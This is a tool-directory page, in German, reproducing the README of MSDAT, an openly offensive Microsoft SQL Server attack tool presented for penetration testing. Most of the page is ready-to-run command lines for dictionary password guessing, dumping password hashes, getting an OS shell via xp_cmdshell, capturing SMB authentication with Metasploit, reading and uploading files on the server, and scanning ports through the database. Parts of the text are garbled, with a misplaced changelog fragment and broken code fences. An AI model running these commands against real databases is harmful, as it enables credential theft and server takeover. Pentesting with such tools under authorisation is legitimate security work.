Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
msdat — MSDAT: Microsoft SQL-Datenbank-Angriffswerkzeug | Kitploit
Tools/GitHubGitHub/quentinhardy/msdat
Privilege EscalationPasswortangriffeExploitationInformationsbeschaffungPenetrationstestsDatenbanksicherheit
GitHubquentinhardy/msdat

msdat

MSDAT: Microsoft SQL-Datenbank-Angriffswerkzeug

Repository anzeigen
1.0k145vor 3 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Quentin HARDY
[email protected]
[email protected]

MSDAT

MSDAT (Microsoft SQL Datenbank-Angriffs-Werkzeug) ist ein Open-Source-Penetrationstest-Tool, das die Sicherheit von Microsoft SQL-Datenbanken remote testet.

Anwendungsbeispiele von MSDAT:

  • Sie haben eine Microsoft-Datenbank, die remote lauscht, und möchten gültige Anmeldedaten finden, um sich mit der Datenbank zu verbinden
  • Sie haben ein gültiges Microsoft SQL-Konto auf einer Datenbank und möchten Ihre Berechtigungen erweitern
  • Sie haben ein gültiges Microsoft SQL-Konto und möchten Befehle auf dem Betriebssystem ausführen, das diese DB hostet (z. B. xp_cmdshell, OLE Automation, Agent Jobs)

Getestet auf Microsoft SQL-Datenbank 2005, 2008, 2012, 2014, 2016 und 2019.

Changelog

  • Version 2.4 (2022/12/28) :
    • 2 neue Optionen im Modul search: --privs und --privs-full zum Abrufen der aktuellen Benutzerrollen und -berechtigungen (z. B. Login- und Datenbankberechtigungen)
    • 1 neue Option im Modul search: --config zum Abrufen von Datenbankkonfigurationen & -informationen (Version, Datenbanken, Benutzer, deaktivierte Benutzer, gespeicherte Prozeduren usw.)
  • Version 2.3 (2022/12/18) :
    • kompatibel mit Microsoft SQL Server 2019
    • neue Option --schema-dump im Suchmodul zum Extrahieren des Schemas und Speichern in einer Datei (außer für Standard-DBs)
    • neue Option --table-dump im Suchmodul zum Extrahieren aller Tabellen und Speichern in einer Datei (außer für Standard-DBs)
    • neue Option --sql-shell im Suchmodul zum Erhalten einer minimalen Pseudo-SQL-Shell
  • Version 2.2 (2022/04/29) :
    • --nmap-file und -l können jetzt im Modul all und im Modul passwordguesser verwendet werden. Sie können eine Liste von Zielen mit -l oder eine nmap-Datei mit --nmap-file angeben.
    • Mehrere Fehlerbehebungen
  • Version 2.1 (2020/03/04) :
    • Option --nmap-file zum Laden aller mssql-Dienste aus einer XML-nmap-Datei (python-libnmap muss installiert sein)
  • Version 2.0 (2020/03/04) :
    • Python 2 zu Python 3: MSDAT ist jetzt nur noch mit Python 3 kompatibel. Python 2 wird nicht unterstützt.
    • Trennzeichen-Option im Passwort-Rate-Modul
    • Verbesserungen bei der Fehlerbehandlung in der --put-file-Option des xpcmdshell-Moduls
    • Verbesserungen bei der Reverse-Shell-Option des jobs-Moduls
    • OLE-Automation-Modul - Verbesserungen der Befehlsausführung
    • OLE-Automation-Modul - Powershell-Reverse-Shell implementiert
    • neue Option zum Drucken der Liste von Agent-Jobs und deren Code: --print-jobs
  • Version 1.2 (2020/02/26) :
    • Neue Methode im xpCmdShell-Modul: Hochladen einer Binärdatei mit Powershell (--put-file)
    • Verbesserung in oleAutomation: Datei im Binärmodus statt als Textdatei hochladen
  • Version 1.1 (2019/07/12) :
    • viele weitere Standard-Anmeldedaten. Danke an

Funktionen

Dank MSDAT (Microsoft SQL Datenbank-Angriffs-Werkzeug) können Sie (nicht abschließende Liste):

  • technische Informationen (z. B. Datenbankversion) einer MSSQL-Datenbank abrufen, ohne authentifiziert zu sein
  • eine nmap-Datei laden, um alle MSSQL-Ziele zu scannen
  • MSSQL-Konten suchen mit einem Wörterbuchangriff
  • jeden Login als Passwort testen (Authentifizierung erforderlich)
  • eine Windows-Shell auf dem Datenbankserver abrufen mit
    • xp_cmdshell
    • OLE Automation
    • Jobs
  • Dateien remote herunterladen mit:
    • OLE Automation
    • bulkinsert
    • openrowset
  • Dateien auf dem Server hochladen mit:
    • OLE Automation
    • openrowset
  • eine SMB-Authentifizierung erfassen dank:
    • bulkinsert
    • openrowset
    • xp_dirtree
    • xp_fileexist
    • xp-getfiledetails
  • MSSQL-gehashte Passwörter stehlen auf jeder MSSQL-Version
  • Ports scannen durch die Datenbank:
    • openrowset
  • SQL-Anfragen auf einem entfernten MSSQL-Server ausführen über die Datenbank (Ziel) mit:
    • bulkinsert
    • openrowset
  • Dateien/Verzeichnisse auflisten mit:
    • xp_subdirs
    • xp_dirtree
  • Laufwerke/Medien auflisten mit:
    • xp_fixeddrives
    • xp_availablemedia
  • Ordner erstellen mit:
    • xp_create_subdir
  • sensible Daten in Tabellen durchsuchen (z. B. Anmeldedaten)
  • Datenbankkonfiguration abrufen (Datenbanken, Benutzer, gespeicherte Prozeduren usw.)
  • Schema und alle Tabelleninformationen extrahieren
  • einfache SQL-Befehle in einer Pseudo-SQL-Shell ausführen

Installation

Einige Abhängigkeiten müssen installiert werden, um MSDAT auszuführen.

In Ubuntu:

root@kitploit:~
sudo apt-get install freetds-dev 

oder freetds herunterladen auf http://www.freetds.org/

Python-Abhängigkeiten installieren:

root@kitploit:~
sudo pip3 install -r requirements.txt
sudo activate-global-python-argcomplete

oder

root@kitploit:~
sudo pip3 install cython colorlog termcolor pymssql argparse python-libnmap
sudo pip3 install argcomplete && sudo activate-global-python-argcomplete

Fügen Sie "use ntlmv2 = yes" in Ihrer freetds-Konfigurationsdatei hinzu (z. B. /etc/freetds/freetds.conf oder /usr/local/etc/freetds.conf). Beispiel:

root@kitploit:~
[global]
        # TDS protocol version
        tds version = 8.0
        use ntlmv2 = yes

Wie man beginnt

root@kitploit:~
python3 msdat.py -h                                                                                                                                                                                                                                                    2 ⨯
usage: msdat.py [-h] [--version]
                {all,mssqlinfo,passwordguesser,passwordstealer,xpcmdshell,jobs,smbauthcapture,oleautomation,bulkopen,xpdirectory,trustworthype,userlikepwd,search,cleaner}
                ...

               _   _  __  __   _  ___ 
              | \_/ |/ _||  \ / \|_ _|
              | \_/ |\_ \| o ) o || | 
              |_| |_||__/|__/|_n_||_| 
                        
------------------------------------------------------
 _   _  __            __           _           ___ 
| \_/ |/ _|         |  \         / \         |_ _|
| \_/ |\_ \         | o )         o |         | | 
|_| |_||__/icrosoft |__/atabase |_n_|ttacking |_|ool 
                        
-------------------------------------------------------

Von Quentin Hardy ([email protected])

positionale Argumente:
  {all,mssqlinfo,passwordguesser,passwordstealer,xpcmdshell,jobs,smbauthcapture,oleautomation,bulkopen,xpdirectory,trustworthype,userlikepwd,search,cleaner}
                        
                        Wählen Sie einen Hauptbefehl
    all                 um alle Module auszuführen, um herauszufinden, was möglich ist
    mssqlinfo           um Informationen ohne Authentifizierung zu erhalten
    passwordguesser     um gültige Anmeldedaten zu ermitteln
    passwordstealer     um gehashte Passwörter zu erhalten
    xpcmdshell          um eine Shell zu erhalten
    jobs                um Systembefehle auszuführen
    smbauthcapture      um eine SMB-Authentifizierung zu erfassen
    oleautomation       um Dateien zu lesen/schreiben und Systembefehle auszuführen
    bulkopen            um eine Datei zu lesen und Ports zu scannen
    xpdirectory         um Dateien/Laufwerke aufzulisten und Verzeichnisse zu erstellen
    trustworthype       um mit der Trustworthy-Datenbank-Methode Sysadmin zu werden
    userlikepwd         um jeden in der DB gespeicherten MSSQL-Benutzernamen als entsprechendes Passwort zu versuchen
    search              um in Spaltennamen zu suchen
    cleaner             lokale Spuren bereinigen

optionale Argumente:
  -h, --help            Diese Hilfemeldung anzeigen und beenden
  --version             Programmversionsnummer anzeigen und beenden

Beispiele

Module

  • Sie können alle Module auflisten:
root@kitploit:~
./msdat.py -h
  • Wenn Sie ein Modul ausgewählt haben (Beispiel: all), können Sie es verwenden und alle Funktionen und Optionen des Moduls auflisten:
root@kitploit:~
./msdat.py all -h

Sie können mit der Option --test-module herausfinden, ob ein bestimmtes Modul auf einem MSSQL-Server verwendet werden kann. Diese Option ist in jedem mdat-Modul implementiert.

all-Modul

Das all-Modul ermöglicht es Ihnen, alle Module auszuführen (abhängig von den Optionen, die Sie erworben haben).

root@kitploit:~
python msdat.py all -s $SERVER

Wenn Sie:

  • Ihre eigene Kontodatei für den Wörterbuchangriff verwenden möchten
  • mehrere Passwörter für einen Benutzer versuchen möchten, ohne nachgefragt zu werden
  • Ihren eigenen Timeout-Wert festlegen möchten
root@kitploit:~
./msdat.py all -s $SERVER -p $PORT --accounts-file accounts.txt --login-timeout 10 --force-retry

In jedem Modul können Sie mit der Option --charset den zu verwendenden Zeichensatz festlegen.

mssqlinfo-Modul

Um technische Informationen über einen entfernten MSSQL-Server ohne Authentifizierung zu erhalten:

root@kitploit:~
./msdat.py mssqlinfo -s $SERVER -p $PORT --get-max-info

Dieses Modul verwendet das TDS-Protokoll und SQL-Browser-Server, um Informationen zu erhalten.

passwordguesser-Modul

Dieses Modul ermöglicht es Ihnen, gültige Anmeldedaten zu suchen:

root@kitploit:~
./msdat.py passwordguesser -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --force-retry --search

Die Option --force-retry ermöglicht es, mehrere Passwörter für jeden Benutzer zu testen, ohne dass Sie nachgefragt werden

Sie können Ihre eigene Kontodatei mit der Option --accounts-file angeben:

root@kitploit:~
./msdat.py passwordguesser -s $SERVER -p $PORT --search --accounts-file accounts.txt --force-retry

passwordstealer-Modul

Um gehashte Passwörter zu dumpen:

root@kitploit:~
./msdat.py passwordstealer -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --dump --save-to-file test.txt

Dieses Modul wurde auf SQL Server 2000, 2005, 2008 und 2014 getestet.

xpcmdshell-Modul

Um Systembefehle dank xp_cmdshell auszuführen (https://msdn.microsoft.com/en-us/library/ms190693.aspx):

root@kitploit:~
./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --shell

Der vorherige Befehl gibt Ihnen eine interaktive Shell auf dem entfernten Datenbankserver.

Wenn xp_cmdshell nicht aktiviert ist, kann die Option --enable-xpcmdshell in diesem Modul verwendet werden, um es zu aktivieren:

root@kitploit:~
./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --enable-xpcmdshell --disable-xpcmdshell --disable-xpcmdshell --shell

Die Option --enable-xpcmdshell aktiviert xp_cmdshell, falls es nicht aktiviert ist (standardmäßig nicht aktiviert).

Die Option --disable-xpcmdshell deaktiviert xp_cmdshell, falls es aktiviert ist.

smbauthcapture-Modul

Mit diesem Modul können Sie eine SMB-Authentifizierung erfassen:

root@kitploit:~
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --capture $MY_IP_ADDRESS --share-name SHARE

Um die SMB-Authentifizierung zu erfassen, könnte das Modul auxiliary/server/capture/smb (http://www.rapid7.com/db/modules/auxiliary/server/capture/smb) von Metasploit verwendet werden:

root@kitploit:~
msf > use auxiliary/server/capture/smb
msf auxiliary(smb) > exploit

Der Befehl capture dieses Moduls versucht, eine SMB-Authentifizierung dank der Prozeduren xp_dirtree, xp_fileexist oder xp-getfiledetails zu erfassen.

Wenn Sie die SMB-Authentifizierungsprozedur zur Erfassung der Authentifizierung auswählen möchten:

root@kitploit:~
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-dirtree-capture 127.0.0.1
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-fileexist-capture 127.0.0.1
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-getfiledetails-capture 127.0.0.1

Sie können den SHARE-Namen mit der Option --share-name ändern.

oleautomation-Modul

Dieses Modul kann verwendet werden, um Dateien auf dem Datenbankserver zu lesen/schreiben.

Der folgende Befehl liest die Datei temp.txt, die auf dem Datenbankserver gespeichert ist:

root@kitploit:~
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'

Um einen Text in eine Datei (temp.txt) remote zu schreiben:

root@kitploit:~
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --write-file 'C:\Users\Administrator\Desktop\temp.txt' 'a\nb\nc\nd\ne\nf'

Dieses Modul kann verwendet werden, um eine Datei (C:\Users\Administrator\Desktop\temp.txt), die auf dem Datenbankserver gespeichert ist, herunterzuladen:

root@kitploit:~
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt

Außerdem können Sie dieses Modul verwenden, um eine Datei (temp.txt) auf das Ziel hochzuladen:

root@kitploit:~
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --put-file temp.txt 'C:\Users\Administrator\Desktop\temp.txt

bulkopen-Modul

Das Modul bulkopen kann verwendet werden:

  • um auf einem Datenbankserver gespeicherte Dateien zu lesen/herunterzuladen
  • um Ports durch den Datenbankserver zu scannen
  • um SQL-Anfragen auf einem entfernten MSSQL-Server durch die Datenbank auszuführen

Um eine auf dem Ziel gespeicherte Datei zu lesen, kann der folgende Befehl verwendet werden:

root@kitploit:~
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'"

Die Option --method kann verwendet werden, um die zu verwendende Methode anzugeben:

  • bulkinsert (https://msdn.microsoft.com/en-us/library/ms188365.aspx) oder
  • openrowset(https://msdn.microsoft.com/en-us/library/ms190312.aspx)):
root@kitploit:~
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt' --method openrowset

Um eine Datei (C:\Users\Administrator\Desktop\temp.txt) herunterzuladen:` ``bash ./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt

root@kitploit:~

Dieses Modul kann verwendet werden, um Ports (1433 und 1434 von 127.0.0.1) durch den Datenbankserver zu scannen:
```bash
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433,1434 -v

Sie können einen Portbereich scannen:

root@kitploit:~
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433-1438

Dieses Modul kann verwendet werden, um SQL-Anfragen (z. B. select @@ServerName) auf einem entfernten Datenbankserver (z. B. $SERVER2) durch die Datenbank ($SERVER) auszuführen:

root@kitploit:~
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --request-rdb $SERVER2 $PORT $DATABASE $USER $PASSWORD 'select @@ServerName'

xpdirectory-Modul

Das Modul xpdirectory kann verwendet werden:

  • um aufzulisten:
  • Dateien
  • Verzeichnisse
  • Laufwerke
  • um zu prüfen, ob eine Datei existiert
  • um ein Verzeichnis zu erstellen

Um Dateien in einem bestimmten Verzeichnis aufzulisten:

root@kitploit:~
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-files 'C:\'

Um Verzeichnisse in einem bestimmten Verzeichnis aufzulisten:

root@kitploit:~
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-dir 'C:\'

Um Laufwerke aufzulisten:

root@kitploit:~
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-fixed-drives --list-available-media

Um zu prüfen, ob eine Datei existiert:

root@kitploit:~
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --file-exists 'C:\' --file-exists 'file.txt'

Um ein Verzeichnis zu erstellen:

root@kitploit:~
./msdat.py xpdirectory --s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --create-dir 'C:\temp'

search-Modul

Das Modul search kann verwendet werden, um ein Muster in Spaltennamen von Tabellen und Ansichten zu suchen. Nützlich, um beispielsweise das Muster %password% in Spaltennamen zu suchen.

Um Spaltennamen zu erhalten, die Passwortmuster enthalten (z. B. passwd, password, motdepasse, clave):

root@kitploit:~
./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns

Wenn Sie Spaltennamen sehen möchten, die keine Daten enthalten, sollten Sie die Option --show-empty-columns verwenden.

Um ein bestimmtes Muster in Spaltennamen von Ansichten und Tabellen zu suchen:

root@kitploit:~
./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns

Spende

Wenn Sie meine Arbeit durch eine Spende unterstützen möchten, würde ich mich sehr freuen:

  • Via BTC: 36FugL6SnFrFfbVXRPcJATK9GsXEY6mJbf
Tool herunterladen
https://github.com/govolution/betterdefaultpasslist/
  • Version 1.0 (2017/02/15) :
    • erste Version veröffentlicht